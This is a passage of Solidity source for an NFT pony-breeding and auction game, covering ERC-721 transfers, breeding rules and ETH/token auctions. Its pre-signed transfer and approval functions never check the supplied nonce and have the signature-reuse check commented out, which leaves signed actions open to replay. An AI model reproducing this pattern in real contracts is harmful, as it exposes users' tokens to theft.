with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { ponyIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of Ponies owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a Pony to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// EtherPonies specifically) or your Pony may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Pony to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any ponies (except very briefly // after a gen0 pony is created and before it goes on auction). require(_to != address(this)); // You can only send your own pony. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Pony via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Pony that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. emit Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Pony owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Pony to be transfered. /// @param _to The address that should take ownership of the Pony. Can be any address, /// including the caller. /// @param _tokenId The ID of the Pony to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any Ponies (except very briefly // after a gen0 pony is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of Ponies currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return ponies.length - 1; } /// @notice Returns the address currently assigned ownership of a given Pony. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = ponyIndexToOwner[_tokenId]; } /// @notice Returns a list of all Pony IDs assigned to an address. /// @param _owner The owner whose Ponies we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Pony array looking for ponies belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns (uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalPonies = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all ponies have IDs starting at 1 and increasing // sequentially up to the totalPony count. uint256 ponyId; for (ponyId = 1; ponyId <= totalPonies; ponyId++) { if (ponyIndexToOwner[ponyId] == _owner) { result[resultIndex] = ponyId; resultIndex++; } } return result; } } function transferPreSignedHashing( address _token, address _to, uint256 _id, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E97), _token, _to, _id, _nonce)); } function transferPreSigned( bytes _signature, address _to, uint256 _id, uint256 _nonce ) public { require(_to != address(0)); // require(signatures[_signature] == false); bytes32 hashedTx = transferPreSignedHashing(address(this), _to, _id, _nonce); address from = recover(hashedTx, _signature); require(from != address(0)); require(_to != address(this)); // You can only send your own pony. require(_owns(from, _id)); nonces[from]++; // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(from, _to, _id); } function approvePreSignedHashing( address _token, address _spender, uint256 _tokenId, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_token, _spender, _tokenId, _nonce)); } function approvePreSigned( bytes _signature, address _spender, uint256 _tokenId, uint256 _nonce ) public returns (bool) { require(_spender != address(0)); // require(signatures[_signature] == false); bytes32 hashedTx = approvePreSignedHashing(address(this), _spender, _tokenId, _nonce); address from = recover(hashedTx, _signature); require(from != address(0)); // Only an owner can grant transfer approval. require(_owns(from, _tokenId)); nonces[from]++; // Register the approval (replacing any previous approval). _approve(_tokenId, _spender); // Emit approval event. emit Approval(from, _spender, _tokenId); return true; } } /// @title A facet of PonyCore that manages Pony siring, gestation, and birth. /// @author Dekla (https://www.dekla.io) /// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyBreeding is PonyOwnership { /// @dev The Pregnant event is fired when two ponies successfully breed and the pregnancy /// timer begins for the matron. event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock); /// @notice The minimum payment required to use breedWithAuto(). This fee goes towards /// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by /// the COO role as the gas price changes. uint256 public autoBirthFee = 2 finney; // Keeps track of number of pregnant Ponies. uint256 public pregnantPonies; /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneScienceInterface public geneScience; /// @dev Update the address of the genetic contract, can only be called by the CEO. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneScience()); // Set the new contract address geneScience = candidateContract; } /// @dev Checks that a given pony is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToMate(Pony _pon) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the pony has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_pon.matingWithId == 0) && (_pon.cooldownEndBlock <= uint64(block.number)); } /// @dev Check if a sire has authorized breeding with this matron. True if both sire /// and matron have the same owner, or if the sire has given siring permission to /// the matron's owner (via approveSiring()). function _isMatingPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = ponyIndexToOwner[_matronId]; address sireOwner = ponyIndexToOwner[_sireId]; // Siring is okay if they have same owner, or if the matron's owner was given // permission to breed with this sire. return (matronOwner == sireOwner || matingAllowedToAddress[_sireId] == matronOwner); } /// @dev Set the cooldownEndTime for the given Pony, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _pony A reference to the Pony in storage which needs its timer started. function _triggerCooldown(Pony storage _pony) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _pony.cooldownEndBlock = uint64((cooldowns[_pony.cooldownIndex] / secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_pony.cooldownIndex < 13) { _pony.cooldownIndex += 1; } } function _triggerPregnant(Pony storage _pony, uint8 _incubator) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). if (_incubator > 0) { uint64 initialCooldown = uint64(cooldowns[_pony.cooldownIndex] / secondsPerBlock); _pony.cooldownEndBlock = uint64((initialCooldown - (initialCooldown * incubators[_incubator] / 100)) + block.number); } else { _pony.cooldownEndBlock = uint64((cooldowns[_pony.cooldownIndex] / secondsPerBlock) + block.number); } // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_pony.cooldownIndex < 13) { _pony.cooldownIndex += 1; } } /// @notice Grants approval to another user to sire with one of your Ponies. /// @param _addr The address that will be able to sire with your Pony. Set to /// address(0) to clear all siring approvals for this Pony. /// @param _sireId A Pony that you own that _addr will now be able to sire with. function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); matingAllowedToAddress[_sireId] = _addr; } /// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only /// be called by the COO address. (This fee is used to offset the gas cost incurred /// by the autobirth daemon). function setAutoBirthFee(uint256 val) external onlyCOO { autoBirthFee = val; } /// @dev Checks to see if a given Pony is pregnant and (if so) if the gestation /// period has passed. function _isReadyToGiveBirth(Pony _matron) private view returns (bool) { return (_matron.matingWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given pony is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _ponyId reference the id of the pony, any user can inquire about it function isReadyToMate(uint256 _ponyId) public view returns (bool) { require(_ponyId > 0); Pony storage pon = ponies[_ponyId]; return _isReadyToMate(pon); } /// @dev Checks whether a Pony is currently pregnant. /// @param _ponyId reference the id of the pony, any user can inquire about it function isPregnant(uint256 _ponyId) public view returns (bool) { require(_ponyId > 0); // A Pony is pregnant if and only if this field is set return ponies[_ponyId].matingWithId != 0; } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the Pony struct of the potential matron. /// @param _matronId The matron's ID. /// @param _sire A reference to the Pony struct of the potential sire. /// @param _sireId The sire's ID function _isValidMatingPair( Pony storage _matron, uint256 _matronId, Pony storage _sire, uint256 _sireId ) private view returns (bool) { // A Pony can't breed with itself! if (_matronId == _sireId) { return false; } // Ponies can't breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either pony is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // Ponies can't breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let's get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function canMateWithViaAuction(uint256 _matronId, uint256 _sireId) public view returns (bool) { Pony storage matron = ponies[_matronId]; Pony storage sire = ponies[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } /// @notice Checks to see if two ponies can breed together, including checks for /// ownership and siring approvals. Does NOT check that both ponies are ready for /// breeding (i.e. breedWith could still fail until the cooldowns are finished). /// TODO: Shouldn't this check pregnancy and cooldowns?!? /// @param _matronId The ID of the proposed matron. /// @param _sireId The ID of the proposed sire. function canMateWith(uint256 _matronId, uint256 _sireId) external view returns (bool) { require(_matronId > 0); require(_sireId > 0); Pony storage matron = ponies[_matronId]; Pony storage sire = ponies[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId) && _isMatingPermitted(_sireId, _matronId); } /// @dev Internal utility function to initiate breeding, assumes that all breeding /// requirements have been checked. function _mateWith(uint256 _matronId, uint256 _sireId, uint8 _incubator) internal { // Grab a reference to the Ponies from storage. Pony storage sire = ponies[_sireId]; Pony storage matron = ponies[_matronId]; // Mark the matron as pregnant, keeping track of who the sire is. matron.matingWithId = uint32(_sireId); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerPregnant(matron, _incubator); // Clear siring permission for both parents. This may not be strictly necessary // but it's likely to avoid confusion! delete matingAllowedToAddress[_matronId]; delete matingAllowedToAddress[_sireId]; // Every time a Pony gets pregnant, counter is incremented. pregnantPonies++; // Emit the pregnancy event. emit Pregnant(ponyIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock); } function getIncubatorHashing( address _sender, uint8 _incubator, uint256 txCount ) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E98), _sender, _incubator, txCount)); } /// @notice Breed a Pony you own (as matron) with a sire that you own, or for which you /// have previously been given Siring approval. Will either make your pony pregnant, or will /// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth() /// @param _matronId The ID of the Pony acting as matron (will end up pregnant if successful) /// @param _sireId The ID of the Pony acting as sire (will begin its siring cooldown if successful) function mateWithAuto(uint256 _matronId, uint256 _sireId, uint8 _incubator, bytes _sig) external payable whenNotPaused { // Checks for payment. require(msg.value >= autoBirthFee); // Caller must own the matron. require(_owns(msg.sender, _matronId)); require(_isMatingPermitted(_sireId, _matronId)); // Grab a reference to the potential matron Pony storage matron = ponies[_matronId]; // Make sure matron isn't pregnant, or in the middle of a siring cooldown require(_isReadyToMate(matron)); // Grab a reference to the potential sire Pony storage sire = ponies[_sireId]; // Make sure sire isn't pregnant, or in the middle of a siring cooldown require(_isReadyToMate(sire)); // Test that these ponies are a valid mating pair. require( _isValidMatingPair(matron, _matronId, sire, _sireId) ); if (_incubator == 0 && hasIncubator[msg.sender]) { _mateWith(_matronId, _sireId, _incubator); } else { bytes32 hashedTx = getIncubatorHashing(msg.sender, _incubator, nonces[msg.sender]); require(signedBySystem(hashedTx, _sig)); nonces[msg.sender]++; // All checks passed, Pony gets pregnant! if (!hasIncubator[msg.sender]) { hasIncubator[msg.sender] = true; } _mateWith(_matronId, _sireId, _incubator); } } /// @notice Have a pregnant Pony give birth! /// @param _matronId A Pony ready to give birth. /// @return The Pony ID of the new pony. /// @dev Looks at a given Pony and, if pregnant and if the gestation period has passed, /// combines the genes of the two parents to create a new pony. The new Pony is assigned /// to the current owner of the matron. Upon successful completion, both the matron and the /// new pony will be ready to breed again. Note that anyone can call this function (if they /// are willing to pay the gas!), but the new pony always goes to the mother's owner. function giveBirth(uint256 _matronId) external whenNotPaused returns (uint256) { // Grab a reference to the matron in storage. Pony storage matron = ponies[_matronId]; // Check that the matron is a valid pony. require(matron.birthTime != 0); // Check that the matron is pregnant, and that its time has come! require(_isReadyToGiveBirth(matron)); // Grab a reference to the sire in storage. uint256 sireId = matron.matingWithId; Pony storage sire = ponies[sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } // Call the sooper-sekret gene mixing operation. uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); // New Pony starts with the same cooldown as parent gen/20 uint16 cooldownIndex = geneScience.processCooldown(parentGen + 1, block.number); if (cooldownIndex > 13) { cooldownIndex = 13; } // Make the new pony! address owner = ponyIndexToOwner[_matronId]; uint256 ponyId = _createPony(_matronId, matron.matingWithId, parentGen + 1, childGenes, owner, cooldownIndex); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) delete matron.matingWithId; // Every time a Pony gives birth counter is decremented. pregnantPonies--; // Send the balance fee to the person who made birth happen. msg.sender.transfer(autoBirthFee); // return the new pony's ID return ponyId; } function setMatingSeason(bool _isMatingSeason) external onlyCLevel { geneScience.setMatingSeason(_isMatingSeason); } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; uint256 price; bool allowPayDekla; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; ERC20 public tokens; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut = 500; // Map from token ID to their corresponding auction. mapping(uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId) ); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bidEth(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; require(!auction.allowPayDekla); // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = auction.price; require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; seller.transfer(sellerProceeds); } // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bidDkl(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; require(auction.allowPayDekla); // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the bid is greater than or equal to the current price uint256 price = auction.price; require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; tokens.transfer(seller, sellerProceeds); } // Tell the world! emit AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCancelled(_tokenId); } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.price > 0); } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is AccessControl{ event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyCEO whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyCEO whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. constructor(address _nftAddress, address _tokenAddress) public { ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); tokens = ERC20(_tokenAddress); nonFungibleContract = candidateContract; } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) external { Auction storage auction = tokenIdToAuction[_tokenId]; address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyCEO external { Auction storage auction = tokenIdToAuction[_tokenId]; _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint256 price, bool allowPayDekla ) { Auction storage auction = tokenIdToAuction[_tokenId]; return ( auction.seller, auction.price, auction.allowPayDekla ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) external view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return auction.price; } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SiringClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isSiringClockAuction = true; uint256 public prizeCut = 100; uint256 public tokenDiscount = 100; address prizeAddress; // Delegate constructor constructor(address _nftAddr, address _tokenAddress, address _prizeAddress) public ClockAuction(_nftAddr, _tokenAddress) { prizeAddress = _prizeAddress; } /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be PonyCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _seller - Seller, if not the message sender function createEthAuction( uint256 _tokenId, address _seller, uint256 _price ) external { require(msg.sender == address(nonFungibleContract)); require(_price > 0); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, _price, false ); _addAuction(_tokenId, auction); } /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be PonyCore contract. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _seller - Seller, if not the message sender function createDklAuction( uint256 _tokenId, address _seller, uint256 _price ) external { require(msg.sender == address(nonFungibleContract)); require(_price > 0); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, _price, true ); _addAuction(_tokenId, auction); } /// @dev Places a bid for siring. Requires the sender /// is the PonyCore contract because all bid methods /// should be wrapped. Also returns the pony to the /// seller rather than the winner. function bidEth(uint256 _tokenId) external payable { require(msg.sender == address(nonFungibleContract)); address seller = tokenIdToAuction[_tokenId].seller; // _bid checks that token ID is valid and will throw if bid fails _bidEth(_tokenId, msg.value); // We transfer the pony back to the seller, the winner will get // the offspring uint256 prizeAmount = (msg.value * prizeCut) / 10000; prizeAddress.transfer(prizeAmount); _transfer(seller, _tokenId); } function bidDkl(uint256 _tokenId, uint256 _price, uint256 _fee, bytes _signature, uint256 _nonce) external whenNotPaused { address seller = tokenIdToAuction[_tokenId].seller; tokens.transferPreSigned(_signature, address(this), _price, _fee, _nonce); // _bid will throw if the bid or funds transfer fails _bidDkl(_tokenId, _price); tokens.transfer(msg.sender, _fee); address spender = tokens.recoverSigner(_signature, address(this), _price, _fee, _nonce); uint256 discountAmount = (_price * tokenDiscount) / 10000; uint256 prizeAmount = (_price * prizeCut) / 10000; tokens.transfer(prizeAddress, prizeAmount); tokens.transfer(spender, discountAmount); _transfer(seller, _tokenId); } function setCut(uint256 _prizeCut, uint256 _tokenDiscount) external { require(msg.sender == address(nonFungibleContract)); require(_prizeCut + _tokenDiscount < ownerCut); prizeCut = _prizeCut; tokenDiscount = _tokenDiscount; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == nftAddress ); nftAddress.transfer(address(this).balance); } function withdrawDklBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == nftAddress ); tokens.transfer(nftAddress, tokens.balanceOf(this)); } } /// @title Clock auction modified for sale of Ponies /// @notice We omit a fallback function to prevent accidental sends to this contract. contract SaleClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isSaleClockAuction = true; uint256 public prizeCut = 100; uint256 public tokenDiscount = 100; address prizeAddress; // Tracks last 5 sale price of gen0 Pony sales uint256 public gen0SaleCount; uint256[5] public lastGen0SalePrices; // Delegate constructor constructor(address _nftAddr, address _token, address _prizeAddress) public ClockAuction(_nftAddr, _token) { prizeAddress = _prizeAddress; } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _seller - Seller, if not the message sender function createEthAuction( uint256 _tokenId, address _seller, uint256 _price ) external { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, _price, false ); _addAuction(_tokenId, auction); } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _seller - Seller, if not the message sender function createDklAuction( uint256 _tokenId, address _seller, uint256 _price ) external { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, _price, true ); _addAuction(_tokenId, auction); } function bidEth(uint256 _tokenId) external payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _bidEth(_tokenId, msg.value); uint256 prizeAmount = (msg.value * prizeCut) / 10000; prizeAddress.transfer(prizeAmount); _transfer(msg.sender, _tokenId); } function bidDkl(uint256 _tokenId, uint256 _price, uint256 _fee, bytes _signature, uint256 _nonce) external whenNotPaused { address buyer = tokens.recoverSigner(_signature, address(this), _price, _fee, _nonce); tokens.transferPreSigned(_signature, address(this), _price, _fee, _nonce); // _bid will throw if the bid or funds transfer fails _bidDkl(_tokenId, _price); uint256 prizeAmount = (_price * prizeCut) / 10000; uint256 discountAmount = (_price * tokenDiscount) / 10000; tokens.transfer(buyer, discountAmount); tokens.transfer(prizeAddress, prizeAmount); _transfer(buyer, _tokenId); } function setCut(uint256 _prizeCut, uint256 _tokenDiscount) external { require(msg.sender == address(nonFungibleContract)); require(_prizeCut + _tokenDiscount < ownerCut); prizeCut = _prizeCut; tokenDiscount = _tokenDiscount; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == nftAddress ); nftAddress.transfer(address(this).balance); } function withdrawDklBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == nftAddress ); tokens.transfer(nftAddress, tokens.balanceOf(this)); } } /// @title Handles creating auctions for sale and siring of Ponies. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract PonyAuction is PonyBreeding { // @notice The auction contract variables are defined in PonyBase to allow // us to refer to them in PonyOwnership to prevent accidental transfers. // `saleAuction` refers to the auction for gen0 and p2p sale of Ponies. // `siringAuction` refers to the auction for siring rights of Ponies. /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) external onlyCEO { SaleClockAuction candidateContract = SaleClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSaleClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Sets the reference to the siring auction. /// @param _address - Address of siring contract. function setSiringAuctionAddress(address _address) external onlyCEO { SiringClockAuction candidateContract = SiringClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isSiringClockAuction()); // Set the new contract address siringAuction = candidateContract; } /// @dev Sets the reference to the bidding auction. /// @param _address - Address of bidding contract. function setBiddingAuctionAddress(address _address) external onlyCEO { BiddingClockAuction candidateContract = BiddingClockAuction(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isBiddingClockAuction()); // Set the new contract address biddingAuction = candidateContract; } /// @dev Put a Pony up for auction. /// Does some ownership trickery to create auctions in one tx. function createEthSaleAuction( uint256 _PonyId, uint256 _price ) external whenNotPaused { // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _PonyId)); // Ensure the Pony is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Pony IS allowed to be in a cooldown. 